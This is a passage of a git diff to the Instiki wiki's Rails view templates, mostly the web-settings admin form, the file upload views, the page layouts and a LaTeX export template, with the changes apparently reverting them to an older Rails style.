-                 onchange="proposeAddress();" /> &#xa0;&#xa0;
-    <label for="address">Address:</label> <input type="text" class="disableAutoComplete" id="address" name="address" value="<%= @web.address %>" 
-                    onchange="cleanAddress();" />
-    <em>(Letters and digits only)</em>
+  <div class="inputBox, disableAutoComplete">
+    Name: <input type="text" id="name" name="name" value="<%= @web.name %>" 
+                 onChange="proposeAddress();" /> &nbsp;&nbsp;
+    Address: <input type="text" id="address" name="address" value="<%= @web.address %>" 
+                    onChange="cleanAddress();" />
+    <i>(Letters and digits only)</i>
   </div>
 
   <h2 style="margin-bottom: 3px">Specialize</h2>
-  <div class="inputBox">
-    <label for="markup">Markup:</label>
-    <select id="markup" name="markup">
-      <%= html_options({'Textile' => :textile, 'Markdown' => :markdown, 'Markdown+itex2MML' => :markdownMML, 'Markdown+blahtex/PNG' => :markdownPNG, 
-              'Mixed' => :mixed, 'RDoc' => :rdoc }, @web.markup) %>
+  <div class="inputBox, disableAutoComplete">
+    Markup:
+    <select name="markup">
+      <%= html_options({'Textile' => :textile, 'Markdown' => :markdown, 'Mixed' => :mixed, 
+              'RDoc' => :rdoc }, @web.markup) %>
     </select>
 
-    &#xa0;&#xa0;
+    &nbsp;&nbsp;
 
-    <label for="color">Color:</label>
-    <select id="color" name="color">
-      <%= html_options({
-          'Green' => '008B26',
-          'Purple' => '504685',
-          'Red' => 'DA0006',
-          'Orange' => 'C50',
-          'Grey' => '8BA2B0',
-          'Blue' => '204A87',
-          'Brown' => '8F5902',
-          'Scarlet Red' => 'AA0006',
-          'Plum' => '5C3566'
-        }, @web.color) %>
+    Color:
+    <select name="color">
+      <%= html_options({ 'Green' => '008B26', 'Purple' => '504685', 'Red' => 'DA0006', 
+                         'Orange' => 'FA6F00', 'Grey' => '8BA2B0' }, @web.color) %>
     </select>
+    <br/>
     <p>
-      <input type="checkbox" class="disableAutoComplete" id="safe_mode" name="safe_mode" <%= raw 'checked="checked"' if @web.safe_mode? %> /> 
-      <label for="safe_mode">Safe mode
-      <em>- strip HTML tags and stylesheet options from the content of all pages</em></label>
+    <small>
+      <input type="checkbox" name="safe_mode" <%= 'checked="on"' if @web.safe_mode %> /> 
+      Safe mode
+      <em>- strip HTML tags and stylesheet options from the content of all pages</em>
       <br/>
-      <input type="checkbox" class="disableAutoComplete" id="brackets_only" name="brackets_only" <%= raw 'checked="checked"' if @web.brackets_only? %> /> 
-      <label for="brackets_only">Brackets only 
-      <em>- require all wiki words to be as [[wiki word]], WikiWord links won't be created</em></label>
+      <input type="checkbox" name="brackets_only" <%= 'checked="on"' if @web.brackets_only %> /> 
+      Brackets only 
+      <em>- require all wiki words to be as [[wiki word]], WikiWord links won't be created</em>
       <br/>
-      <input type="checkbox" class="disableAutoComplete" id="count_pages" name="count_pages" <%= raw 'checked="checked"' if @web.count_pages? %> /> 
-      <label for="count_pages">Count pages</label>
+      <input type="checkbox" name="count_pages" <%= 'checked="on"' if @web.count_pages %> /> 
+      Count pages
       <br/>
-      <input type="checkbox" class="disableAutoComplete" name="allow_uploads" <%= raw 'checked="checked"' if @web.allow_uploads? %> /> 
+<!-- 
+File uploads are not ready for gfeneral use, and therefore are disabled in release 0.10
+TODO Enable these input elements again after release 0.10
+
+      <input type="checkbox" name="allow_uploads" <%= 'checked="on"' if @web.allow_uploads %> /> 
       Allow uploads of no more than 
-      <input type="text" class="disableAutoComplete" name="max_upload_size" value="<%= @web.max_upload_size %>" 
-             size="20" /> 
+      <input type="text" name="max_upload_size" value="<%= @web.max_upload_size %>" 
+             width="20" /> 
       kbytes
       <em>- 
         allow users to upload pictures and other files and include them on wiki pages
       </em>
+      <br/>
+-->
+    </small>
     </p>
 
-    <a href="#" onclick="toggleView('additionalStyle');return false;">
+    <a href="#" 
+       onClick="document.getElementById('additionalStyle').style.display='block';return false;">
     Stylesheet tweaks &gt;&gt;</a>
-    <em>
+    <small><em>
     - add or change styles used by this web; styles defined here take precedence over 
-    instiki.css.<br/>
-    Hint: View HTML source of a page you want to style to find ID names on individual 
-    tags.</em>
+    instiki.css. Hint: View HTML source of a page you want to style to find ID names on individual 
+    tags.</em></small>
     <br/>
-    <textarea id="additionalStyle" class="disableAutoComplete" cols="50" rows="20"
-      style="display:none" name="additional_style"><%= h(@web.additional_style) %>
+    <textarea id="additionalStyle" 
+      style="display: none; margin-top: 10px; margin-bottom: 5px; width: 560px; height: 200px" 
+      name="additional_style"><%= @web.additional_style %>
     </textarea>
   </div>
 
@@ -86,10 +85,10 @@
     Setting the password to nothing will remove the password protection.
   </div>
   <div class="inputBox">
-    <label for="password">Password:</label> <input class="disableAutoComplete" type="password" id="password" 
+    Password: <input class="disableAutoComplete" type="password" id="password" 
                      name="password" value="<%= @web.password %>" /> 
-    &#xa0;&#xa0;
-    <label for="password_check">Verify:</label> <input class="disableAutoComplete" type="password" id="password_check" 
+    &nbsp;&nbsp;
+    Verify: <input class="disableAutoComplete" type="password" id="password_check" 
                           value="<%= @web.password %>" name="password_check" />
   </div>
 
@@ -97,77 +96,43 @@
   <div class="help">
     You can turn on a read-only version of this web that's accessible even when the regular web 
     is password protected.
-    The published version is accessible through URLs like /<%= @web.address %>/published/HomePage.
+    The published version is accessible through URLs like /wiki/published/HomePage.
   </div>
   <div class="inputBox">
-    <input type="checkbox" id="published" name="published" class="disableAutoComplete" <%= raw 'checked="checked"' if @web.published? %> /> 
-    <label for="published">Publish this web</label>
+    <input type="checkbox" name="published" <%= 'checked="on"' if @web.published %> /> 
+    Publish this web
   </div>
 
-<p style="text-align:right;font-size:.85em;">
-    <label for="system_password">Enter system password</label>
+<p align="right">
+  <small>
+    Enter system password
     <input type="password" class="disableAutoComplete" id="system_password" 
            name="system_password" />
     and
     <input type="submit" value="Update Web" />
     <br/><br/>
     ...or forget changes and <%= link_to 'create a new web', :action => 'create_web' %>
+  </small>
 </p>
-<%- end %>
 
+<%= end_form_tag %>
+
+<br/>
 <h1>Other administrative tasks</h1>
 
-<% form_tag({:controller => 'admin', :web => @web.address, :action => 'remove_orphaned_pages'},
-        { :id => 'remove_orphaned_pages', 
-          :onsubmit => "return checkSystemPassword(document.getElementById('system_password_orphaned').value)",
-          'accept-charset' => 'utf-8' }) do
+<%= form_tag({:controller => 'admin', :web => @web.address, :action => 'remove_orphaned_pages'},
+        {:id => 'remove_orphaned_pages', 
+         :onSubmit => "return checkSystemPassword(document.getElementById('system_password_orphaned').value)"
+        })
 %>
-  <div class="inputBox">
-   <%= link_to ' Manage uploaded files',
-    {:controller => 'wiki', :web => @web.address, :action => 'file_list'}, :style => 'font-weight:bold'  %>
-   for this web (<%= @web.name %>)
-  </div>
-  <p  style="text-align:right;font-size:.85em;">
-      Clean up this web (<%= @web.name %>) by entering the system password
-      <input type="password" id="system_password_orphaned" class="disableAutoComplete" name="system_password_orphaned" />
+  <p align="right">
+    <small>
+      Clean up by entering system password
+      <input type="password" id="system_password_orphaned" name="system_password_orphaned" />
       and
       <input type="submit" value="Delete Orphan Pages" />
+    </small>
   </p>
-<%- end -%>
-
-<%- categories = WikiReference.list_categories(@web).sort
-  if categories.length > 0 -%>
-<% form_tag({:controller => 'admin', :web => @web.address, :action => 'remove_orphaned_pages_in_category'},
-        { :id => 'remove_orphaned_pages_in_category', 
-          :onsubmit => "return checkSystemPassword(document.getElementById('system_password_orphaned_in_category').value)",
-          'accept-charset' => 'utf-8' }) do
-%>
-  <p  style="text-align:right;font-size:.85em;">
-      Clean up selected category:
-      <select id="category" name="category">
-        <%= html_options(categories) %>
-      </select>
-      Enter system password 
-      <input type="password" id="system_password_orphaned_in_category" class="disableAutoComplete" name="system_password_orphaned_in_category" />
-      and
-      <input type="submit" value="Delete Orphan Pages in Category" />
-  </p>
-<%- end -%>
-<%- end -%>
-
-<div class="inputBox">
-<% form_tag({:controller => 'admin', :web => @web.address, :action => 'delete_web'},
-        { :id => 'delete_web', 
-          :onsubmit => "return checkSystemPassword(document.getElementById('system_password_delete_web').value)",
-          'accept-charset' => 'utf-8' }) do
-%>
-  <p  style="text-align:right;">
-      Delete this web (<%= @web.name %>), and all its pages. Enter system password 
-      <input type="password" id="system_password_delete_web" class="disableAutoComplete" name="system_password_delete_web" />
-      and
-      <input type="submit" value="Delete Web" />
-  </p>
-<%- end %>
-</div>
+<%= end_form_tag %>
 
 <%= javascript_include_tag 'edit_web' %>
diff --git a/app/views/file/delete.html.erb b/app/views/file/delete.html.erb
deleted file mode 100644
index f2a5e0e3..00000000
--- a/app/views/file/delete.html.erb
+++ /dev/null
@@ -1,18 +0,0 @@
-<%-
-  @title = "Delete #{@file_name}".html_safe
-  @hide_navigation = true
--%>
-
-<%= error_messages_for 'delete' %>
-
-<% form_tag({ :controller => 'file', :web => @web_name, :action => 'delete' }, 
-        {'accept-charset' => 'utf-8' }) do %>
-  <div class="inputFieldWithPrompt">
-    <%= hidden_field 'file', 'file_name' %>
-    <label for="system_password">Enter system password</label>
-    <input type="password" class="disableAutoComplete" id="system_password" 
-           name="system_password" />
-    <input type="submit" value="Delete" /><br/>
-    or go <%= link_to "back", :back %> to the page you came from.
-  </div>
-<%- end -%>
diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml
index f4ab96ec..63c188eb 100644
--- a/app/views/file/file.rhtml
+++ b/app/views/file/file.rhtml
@@ -1,33 +1,19 @@
-<%-
-  @title = "Upload #{h @file_name}"
+<%
+  @title = "Upload #{@file_name}"
   @hide_navigation = false
-  @referring_page ||= request.env["HTTP_REFERER"]
--%>
+%>
 
-<%= error_messages_for 'file' %>
-
-<% form_tag({ :controller => 'file', :web => @web_name, :action => 'file' }, 
-        { 'multipart' => true , 'accept-charset' => 'utf-8' }) do %>
-  <div class="inputFieldWithPrompt">
-    <input type="hidden" name="referring_page" value="<%= h @referring_page %>" />
-    <%= hidden_field 'file', 'file_name' %>
-    <label for="file_content"><b>Content of <%= h @file_name %> to upload</b>:</label>
-    <br />
-    <input type="file" id="file_content" name="file[content]" size="40" />
-    <br />
-    Please note that the file you are uploading will be named <%= h @file_name %> on the wiki - 
-    regardless of how it is named on your computer. To change the wiki name of the file, please go 
-    <%= link_to("back", @referring_page) %> and edit the wiki page that refers to the file.
-  </div>
-  <div class="inputFieldWithPrompt">
-    <label for="file_description"><b>Description</b>:</label>
+<p>
+<%= form_tag({:controller => 'file', :web => @web_name, :action => 'file'}, {:multipart => true}) %>
+  <p>
+    File to upload:
     <br/>
-    <%= text_field "file", "description", "size" => 40 %>
-  </div>
-  <div>
-    <input type="submit" value="Upload" /> as 
-    <%= text_field_tag :author, @author, 
-            :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;",
-            :onblur  => "this.value == '' ? this.value = 'AnonymousCoward' : true" %>
-  </div>
-<%- end -%>
+    <input type="file" name="file" size="40" />
+  </p>
+  <p>
+    <input type="submit" value="Update" /> as 
+    <input type="text" name="author" id="authorName" value="<%= @author %>" 
+        onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
+  </p>
+<%= end_form_tag %>
+</p>
\ No newline at end of file
diff --git a/app/views/file/import.rhtml b/app/views/file/import.rhtml
index 7e3a3e6f..e4a01ccb 100644
--- a/app/views/file/import.rhtml
+++ b/app/views/file/import.rhtml
@@ -1,5 +1,5 @@
 <p>
-<% form_tag({}, { 'multipart' => true, 'accept-charset' => 'utf-8' }) do %>
+<%= form_tag({}, {:multipart => true}) %>
   <p>
     File to upload:
     <br/>
@@ -13,11 +13,11 @@
   <p>
     <input type="submit" value="Update" /> as 
     <input type="text" name="author" id="authorName" value="<%= @author %>" 
-        onclick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
-	<%- if @page -%>
-      | <%= link_to 'Cancel', :web => @web.address, :action => 'file'%> <em>(unlocks page)</em>
-    <%- end -%>
+        onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
+	<% if @page %>
+      | <%= link_to 'Cancel', :web => @web.address, :action => 'file'%> <small>(unlocks page)</small>
+    <% end %>
     
   </p>
-<%- end -%>
-</p>
+<%= end_form_tag %>
+</p>
\ No newline at end of file
diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml
index 2280bcbf..eb1472aa 100644
--- a/app/views/layouts/default.rhtml
+++ b/app/views/layouts/default.rhtml
@@ -1,62 +1,42 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN" "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd" >
+<!DOCTYPE html
+PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
   <title>
-    <%- if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(params['action'])) -%>
-      <%= h(@web.name) + (@show_diff ? ' (changes)' : '') %>
-    <%- elsif @web -%>
-      <%= @title %> in <%= h @web.name %>
-    <%- else -%>
+    <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %>
+      <%= @web.name %>
+    <% elsif @web %>
+      <%= @title %> in <%= @web.name %>
+    <% else %>
       <%= @title %>
-    <%- end -%>
+    <% end %>
   </title>
 
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-  <meta name="robots" content="<%= @robots_metatag_value %>" />
-  
-  <%= javascript_include_tag 'page_helper' %>
- 
-  <%= stylesheet_link_tag 'instiki', :media => 'all'  unless @inline_style %>
-  <%= stylesheet_link_tag 'syntax', :media => 'all'  unless @inline_style %>
+
   <style type="text/css">
-    h1#pageName, div.info, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, [actiontype="toggle"]:hover, #TextileHelp h3 { 
+    h1#pageName, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, #TextileHelp h3 { 
       color: #<%= @web ? @web.color : "393" %>; 
     }
-    a:visited.existingWikiWord {
-      color: #<%= darken(@web ? @web.color : "393") %>;
+
+    #Container, #Content {
+      width: <%= @content_width || "600" %>px;
     }
-    <%= Rails.root.join('public', 'stylesheets', 'instiki.css').read if @inline_style %>
-    <%= Rails.root.join('public', 'stylesheets', 'syntax.css').read if @inline_style %>
+    <%= File.read(RAILS_ROOT + '/public/stylesheets/instiki.css') if @inline_style %>
   </style>
-  <%= "<style type='text/css'>#{@style_additions}</style>".html_safe if @style_additions %>
-  <style type="text/css"><!--/*--><![CDATA[/*><!--*/    
-    <%= @web && @web.additional_style ? @web.additional_style.html_safe : '' %>
-  /*]]>*/--></style>
-  <%= javascript_include_tag :defaults %>
-  <%= csrf_meta_tag %>
-  <%- if @web -%>
-   <%- if @web.markup == :markdownMML -%>
-  <script type="text/x-mathjax-config">
-    MathJax.Hub.Config({
-      MathML: { useMathMLspacing: true },
-      "HTML-CSS": { scale: 90 }
-    });
-    if (window._onload_fired_) MathJax.Hub.Startup.onload();
-  </script>
-  <script type="text/javascript">
-    if (!(Prototype.Browser.Gecko || navigator.userAgent.match(/MathPlayer/))) {
-      var s = document.createElement('script');
-      s.src = "<%= compute_public_path('MathJax.js', 'MathJax').split('?')[0] %>?config=MML_HTMLorMML";
-      document.querySelector('head').appendChild(s);
-      window.addEventListener("load", function(){window._onload_fired_ = true} , false);        
-    };
-  </script>
-   <%- end -%>
-  	<%= auto_discovery_link_tag(:atom, {:controller => 'wiki', :web => @web.address, :action => 'atom_with_headlines'},
-  	      :title => 'Atom with headlines') %>
-  	<%= auto_discovery_link_tag(:atom, {:controller => 'wiki', :web => @web.address, :action => 'atom_with_content'},
-  	      :title => 'Atom with full content') %>
-  <%- end -%>
+
+  <%= stylesheet_link_tag 'instiki' unless @inline_style %>
+
+  <style type="text/css">
+    <%= @style_additions %>
+    <%= @web ? @web.additional_style : '' %>
+  </style>
+
+  <% if @web %>
+  	<%= auto_discovery_link_tag(:rss, :controller => 'wiki', :web => @web.address, :action => 'rss_with_headlines') %>
+  	<%= auto_discovery_link_tag(:rss, :controller => 'wiki', :web => @web.address, :action => 'rss_with_content') %>
+  <% end %>
 </head>
 
 <body>
@@ -64,35 +44,34 @@
 <div id="Container">
 <div id="Content">
   <h1 id="pageName">
-    <%= render(:file => 'svg_logo') if xhtml_enabled? %>
-    <%- if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) -%>
-      <%= h(@web.name) + (@show_diff ? ' (changes)' : '') %>
-    <%- elsif @web -%>
-      <span class="webName"><%= @web.name %></span><br />
+    <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %>
+      <%= @web.name %>
+    <% elsif @web %>
+      <small><%= @web.name %></small><br />
       <%= @title %>
-    <%- else -%>
+    <% else %>
       <%= @title %>
-    <%- end %>
+    <% end %>
   </h1>
 
-<%= render(:file => 'navigation') unless @web.nil? || @hide_navigation %>
+<% if @error or @flash[:error] %> <div id="error">
+    <hr/><p><%= escape_preserving_linefeeds(@error || @flash[:error]) %></p><hr/></div>
+<% end %>
 
-<%- if flash[:info] -%>
-  <div class="info"><%= escape_preserving_linefeeds flash[:info] %></div>
-<%- end -%>
-
-<%- if @error or flash[:error] -%> 
-    <div class="errorExplanation"><%= escape_preserving_linefeeds(@error || flash[:error]) %></div>
-<%- end -%>
+<% if @flash[:info] %> <div id="info">
+    <hr/><p><%= escape_preserving_linefeeds @flash[:info] %></p><hr/></div>
+<% end %>
 
+<%= render 'navigation' unless @web.nil? || @hide_navigation %>
 <%= @content_for_layout %>
 
-<%- if @show_footer -%>
+<% if @show_footer %>
     <div id="footer">
-    <div>This site is running on <a href="http://golem.ph.utexas.edu/instiki/show/HomePage">Instiki <%= "#{Instiki::VERSION::STRING}" %></a></div>
-    <div>Powered by <a href="http://rubyonrails.com/">Ruby on Rails</a>  <%= "#{Rails::VERSION::STRING}" %></div>
+    <p>This site is running on <a href="http://instiki.org/">Instiki</a></p>
+    <br/>
+    <p>Powered by <a href="http://rubyonrails.com/">Ruby on Rails</a></p>
     </div>
-<%- end -%>
+<% end %>
 
 </div> <!-- Content -->
 
diff --git a/app/views/layouts/error.html.erb b/app/views/layouts/error.html.erb
deleted file mode 100644
index 5c03dfce..00000000
--- a/app/views/layouts/error.html.erb
+++ /dev/null
@@ -1,45 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN" "http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd" >
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>
-      <%= h("#{@status} #{@status_message}") %>
-  </title>
-
-  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-  <meta name="robots" content="<%= @robots_metatag_value %>" />
-  
-  <style type="text/css">
-    h1#pageName, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, #TextileHelp h3 { 
-      color: #<%= @web ? @web.color : "393" %>; 
-    }
-    <%= Rails.root.join('public', 'stylesheets', 'instiki.css').read if @inline_style %>
-  </style>
-
-  <%= stylesheet_link_tag 'instiki', :media => 'all' unless @inline_style %>
-
-  <style type="text/css"><!--/*--><![CDATA[/*><!--*/
-    <%= @style_additions %>
-    <%= @web ? @web.additional_style : '' %>
-  /*]]>*/--></style>
-</head>
-
-<body>
-
-<div id="Error-Container">
-  <h1>
-    <%= h("#{@status} #{@status_message}")  %>
-  </h1>
-
-<div id="Error-Content">
-<%= if :raw
-      @content_for_layout
-    else
-      h @content_for_layout
-    end %>
-
-</div> <!-- Error-Content -->
-
-</div> <!-- Error-Container -->
-
-</body>
-</html>
diff --git a/app/views/layouts/s5.rhtml b/app/views/layouts/s5.rhtml
deleted file mode 100644
index 36ba17d8..00000000
--- a/app/views/layouts/s5.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-<%= @content_for_layout %>
diff --git a/app/views/layouts/tex.rhtml b/app/views/layouts/tex.rhtml
deleted file mode 100644
index 66df61fd..00000000
--- a/app/views/layouts/tex.rhtml
+++ /dev/null
@@ -1,265 +0,0 @@
-\documentclass[12pt,titlepage]{article}
-
-\usepackage{amsmath}
-\usepackage{amsfonts}
-\usepackage{amssymb}
-\usepackage{amsthm}
-\usepackage{mathtools}
-<%- if @tex_content =~  /\\mathbb\{[^}]*[a-z0-9]+[^}]*\}/ -%>
-\usepackage{mathbbol}
-<% end -%>
-\usepackage{graphicx}
-\usepackage{color}
-\usepackage{ucs}
-\usepackage[utf8x]{inputenc}
-\usepackage{xparse}
-\usepackage{hyperref}
-
-%----Macros----------
-%
-% Unresolved issues:
-%
-%  \righttoleftarrow
-%  \lefttorightarrow
-%
-%  \color{} with HTML colorspec
-%  \bgcolor
-%  \array with options (without options, it's equivalent to the matrix environment)
-
-% Of the standard HTML named colors, white, black, red, green, blue and yellow
-% are predefined in the color package. Here are the rest.
-\definecolor{aqua}{rgb}{0, 1.0, 1.0}
-\definecolor{fuschia}{rgb}{1.0, 0, 1.0}
-\definecolor{gray}{rgb}{0.502, 0.502, 0.502}
-\definecolor{lime}{rgb}{0, 1.0, 0}
-\definecolor{maroon}{rgb}{0.502, 0, 0}
-\definecolor{navy}{rgb}{0, 0, 0.502}
-\definecolor{olive}{rgb}{0.502, 0.502, 0}
-\definecolor{purple}{rgb}{0.502, 0, 0.502}
-\definecolor{silver}{rgb}{0.753, 0.753, 0.753}
-\definecolor{teal}{rgb}{0, 0.502, 0.502}
-
-% Because of conflicts, \space and \mathop are converted to
-% \itexspace and \operatorname during preprocessing.
-
-% itex: \space{ht}{dp}{wd}
-%
-% Height and baseline depth measurements are in units of tenths of an ex while
-% the width is measured in tenths of an em.
-\makeatletter
-\newdimen\itex@wd%
-\newdimen\itex@dp%
-\newdimen\itex@thd%
-\def\itexspace#1#2#3{\itex@wd=#3em%
-\itex@wd=0.1\itex@wd%
-\itex@dp=#2ex%
-\itex@dp=0.1\itex@dp%
-\itex@thd=#1ex%
-\itex@thd=0.1\itex@thd%
-\advance\itex@thd\the\itex@dp%
-\makebox[\the\itex@wd]{\rule[-\the\itex@dp]{0cm}{\the\itex@thd}}}
-\makeatother
-
-% \tensor and \multiscript
-\makeatletter
-\newif\if@sup
-\newtoks\@sups
-\def\append@sup#1{\edef\act{\noexpand\@sups={\the\@sups #1}}\act}%
-\def\reset@sup{\@supfalse\@sups={}}%
-\def\mk@scripts#1#2{\if #2/ \if@sup ^{\the\@sups}\fi \else%
-  \ifx #1_ \if@sup ^{\the\@sups}\reset@sup \fi {}_{#2}%
-  \else \append@sup#2 \@suptrue \fi%
-  \expandafter\mk@scripts\fi}
-\def\tensor#1#2{\reset@sup#1\mk@scripts#2_/}
-\def\multiscripts#1#2#3{\reset@sup{}\mk@scripts#1_/#2%
-  \reset@sup\mk@scripts#3_/}
-\makeatother
-
-% \slash
-\makeatletter
-\newbox\slashbox \setbox\slashbox=\hbox{$/$}
-\def\itex@pslash#1{\setbox\@tempboxa=\hbox{$#1$}
-  \@tempdima=0.5\wd\slashbox \advance\@tempdima 0.5\wd\@tempboxa
-  \copy\slashbox \kern-\@tempdima \box\@tempboxa}
-\def\slash{\protect\itex@pslash}
-\makeatother
-
-% math-mode versions of \rlap, etc
-% from Alexander Perlis, "A complement to \smash, \llap, and lap"
-%   http://math.arizona.edu/~aprl/publications/mathclap/
-\def\clap#1{\hbox to 0pt{\hss#1\hss}}
-\def\mathllap{\mathpalette\mathllapinternal}
-\def\mathrlap{\mathpalette\mathrlapinternal}
-\def\mathclap{\mathpalette\mathclapinternal}
-\def\mathllapinternal#1#2{\llap{$\mathsurround=0pt#1{#2}$}}
-\def\mathrlapinternal#1#2{\rlap{$\mathsurround=0pt#1{#2}$}}
-\def\mathclapinternal#1#2{\clap{$\mathsurround=0pt#1{#2}$}}
-
-% Renames \sqrt as \oldsqrt and redefine root to result in \sqrt[#1]{#2}
-\let\oldroot\root
-\def\root#1#2{\oldroot #1 \of{#2}}
-\renewcommand{\sqrt}[2][]{\oldroot #1 \of{#2}}
-
-% Manually declare the txfonts symbolsC font
-\DeclareSymbolFont{symbolsC}{U}{txsyc}{m}{n}
-\SetSymbolFont{symbolsC}{bold}{U}{txsyc}{bx}{n}
-\DeclareFontSubstitution{U}{txsyc}{m}{n}
-
-% Manually declare the stmaryrd font
-\DeclareSymbolFont{stmry}{U}{stmry}{m}{n}
-\SetSymbolFont{stmry}{bold}{U}{stmry}{b}{n}
-
-% Declare specific arrows from txfonts without loading the full package
-\makeatletter
-\def\re@DeclareMathSymbol#1#2#3#4{%
-    \let#1=\undefined
-    \DeclareMathSymbol{#1}{#2}{#3}{#4}}
-\re@DeclareMathSymbol{\neArrow}{\mathrel}{symbolsC}{116}
-\re@DeclareMathSymbol{\neArr}{\mathrel}{symbolsC}{116}
-\re@DeclareMathSymbol{\seArrow}{\mathrel}{symbolsC}{117}
-\re@DeclareMathSymbol{\seArr}{\mathrel}{symbolsC}{117}
-\re@DeclareMathSymbol{\nwArrow}{\mathrel}{symbolsC}{118}
-\re@DeclareMathSymbol{\nwArr}{\mathrel}{symbolsC}{118}
-\re@DeclareMathSymbol{\swArrow}{\mathrel}{symbolsC}{119}
-\re@DeclareMathSymbol{\swArr}{\mathrel}{symbolsC}{119}
-\re@DeclareMathSymbol{\nequiv}{\mathrel}{symbolsC}{46}
-\re@DeclareMathSymbol{\Perp}{\mathrel}{symbolsC}{121}
-\re@DeclareMathSymbol{\Vbar}{\mathrel}{symbolsC}{121}
-\re@DeclareMathSymbol{\sslash}{\mathrel}{stmry}{12}
-\re@DeclareMathSymbol{\invamp}{\mathrel}{symbolsC}{77}
-\re@DeclareMathSymbol{\parr}{\mathrel}{symbolsC}{77}
-\makeatother
-
-% Widecheck
-\makeatletter
-\DeclareRobustCommand\widecheck[1]{{\mathpalette\@widecheck{#1}}}
-\def\@widecheck#1#2{%
-    \setbox\z@\hbox{\m@th$#1#2$}%
-    \setbox\tw@\hbox{\m@th$#1%
-       \widehat{%
-          \vrule\@width\z@\@height\ht\z@
-          \vrule\@height\z@\@width\wd\z@}$}%
-    \dp\tw@-\ht\z@
-    \@tempdima\ht\z@ \advance\@tempdima2\ht\tw@ \divide\@tempdima\thr@@
-    \setbox\tw@\hbox{%
-       \raise\@tempdima\hbox{\scalebox{1}[-1]{\lower\@tempdima\box
-\tw@}}}%
-    {\ooalign{\box\tw@ \cr \box\z@}}}
-\makeatother
-
-% \mathraisebox{voffset}[height][depth]{something}
-\makeatletter
-\NewDocumentCommand\mathraisebox{moom}{%
-\IfNoValueTF{#2}{\def\@temp##1##2{\raisebox{#1}{$\m@th##1##2$}}}{%
-\IfNoValueTF{#3}{\def\@temp##1##2{\raisebox{#1}[#2]{$\m@th##1##2$}}%
-}{\def\@temp##1##2{\raisebox{#1}[#2][#3]{$\m@th##1##2$}}}}%
-\mathpalette\@temp{#4}}
-\makeatletter
-
-% udots (taken from yhmath)
-\makeatletter
-\def\udots{\mathinner{\mkern2mu\raise\p@\hbox{.}
-\mkern2mu\raise4\p@\hbox{.}\mkern1mu
-\raise7\p@\vbox{\kern7\p@\hbox{.}}\mkern1mu}}
-\makeatother
-
-%% Fix array
-\newcommand{\itexarray}[1]{\begin{matrix}#1\end{matrix}}
-%% \itexnum is a noop
-\newcommand{\itexnum}[1]{#1}
-
-%% Renaming existing commands
-\newcommand{\underoverset}[3]{\underset{#1}{\overset{#2}{#3}}}
-\newcommand{\widevec}{\overrightarrow}
-\newcommand{\darr}{\downarrow}
-\newcommand{\nearr}{\nearrow}
-\newcommand{\nwarr}{\nwarrow}
-\newcommand{\searr}{\searrow}
-\newcommand{\swarr}{\swarrow}
-\newcommand{\curvearrowbotright}{\curvearrowright}
-\newcommand{\uparr}{\uparrow}
-\newcommand{\downuparrow}{\updownarrow}
-\newcommand{\duparr}{\updownarrow}
-\newcommand{\updarr}{\updownarrow}
-\newcommand{\gt}{>}
-\newcommand{\lt}{<}
-\newcommand{\map}{\mapsto}
-\newcommand{\embedsin}{\hookrightarrow}
-\newcommand{\Alpha}{A}
-\newcommand{\Beta}{B}
-\newcommand{\Zeta}{Z}
-\newcommand{\Eta}{H}
-\newcommand{\Iota}{I}
-\newcommand{\Kappa}{K}
-\newcommand{\Mu}{M}
-\newcommand{\Nu}{N}
-\newcommand{\Rho}{P}
-\newcommand{\Tau}{T}
-\newcommand{\Upsi}{\Upsilon}
-\newcommand{\omicron}{o}
-\newcommand{\lang}{\langle}
-\newcommand{\rang}{\rangle}
-\newcommand{\Union}{\bigcup}
-\newcommand{\Intersection}{\bigcap}
-\newcommand{\Oplus}{\bigoplus}
-\newcommand{\Otimes}{\bigotimes}
-\newcommand{\Wedge}{\bigwedge}
-\newcommand{\Vee}{\bigvee}
-\newcommand{\coproduct}{\coprod}
-\newcommand{\product}{\prod}
-\newcommand{\closure}{\overline}
-\newcommand{\integral}{\int}
-\newcommand{\doubleintegral}{\iint}
-\newcommand{\tripleintegral}{\iiint}
-\newcommand{\quadrupleintegral}{\iiiint}
-\newcommand{\conint}{\oint}
-\newcommand{\contourintegral}{\oint}
-\newcommand{\infinity}{\infty}
-\newcommand{\bottom}{\bot}
-\newcommand{\minusb}{\boxminus}
-\newcommand{\plusb}{\boxplus}
-\newcommand{\timesb}{\boxtimes}
-\newcommand{\intersection}{\cap}
-\newcommand{\union}{\cup}
-\newcommand{\Del}{\nabla}
-\newcommand{\odash}{\circleddash}
-\newcommand{\negspace}{\!}
-\newcommand{\widebar}{\overline}
-\newcommand{\textsize}{\normalsize}
-\renewcommand{\scriptsize}{\scriptstyle}
-\newcommand{\scriptscriptsize}{\scriptscriptstyle}
-\newcommand{\mathfr}{\mathfrak}
-\newcommand{\statusline}[2]{#2}
-\newcommand{\tooltip}[2]{#2}
-\newcommand{\toggle}[2]{#2}
-
-% Theorem Environments
-\theoremstyle{plain}
-\newtheorem{theorem}{Theorem}
